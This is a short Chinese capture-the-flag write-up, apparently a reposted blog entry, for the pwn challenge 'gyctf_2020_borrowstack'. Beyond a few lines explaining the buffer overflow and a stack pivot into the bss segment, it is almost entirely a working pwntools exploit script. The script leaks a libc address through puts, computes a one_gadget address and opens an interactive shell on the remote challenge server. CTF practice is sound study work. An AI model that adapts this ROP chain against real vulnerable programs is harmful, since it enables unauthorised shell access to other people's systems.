【pwn】 gyctf_2020_borrowstack

例行检查
在这里插入图片描述
程序逻辑
在这里插入图片描述
看到buf缓冲区有0x10大小溢出,且可以控制bss段上的bank,可以用栈迁移做,这题的bss段离got表较近,在迁移时尽量往高地址迁移,防止在rop时破坏got表上数据。

from pwn import *

io=remote('node3.buuoj.cn','29302')

bank=0x0601080
leave=0x400699
puts_plt=0x04004E0
puts_got=0x0601018
pop_rdi=0x400703
main=0x0400626
ret=0x4004c9

io.recvuntil('u want')
pl1='a'*0x60+p64(bank)+p64(leave)
io.send(pl1)
io.recvuntil('now!')
pl2=p64(ret)*20+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.send(pl2)
io.recvline()
puts_add=u64(io.recv(6).ljust(8,'\x00'))
libc_base=puts_add-0x06f690
one_gadget=libc_base+0x4526a
pl3='a'*0x60+'bbbbbbbb'+p64(one_gadget)
io.send(pl3)
io.send('a')

io.interactive()

猜你喜欢

转载自blog.csdn.net/github_36788573/article/details/104614956
pwn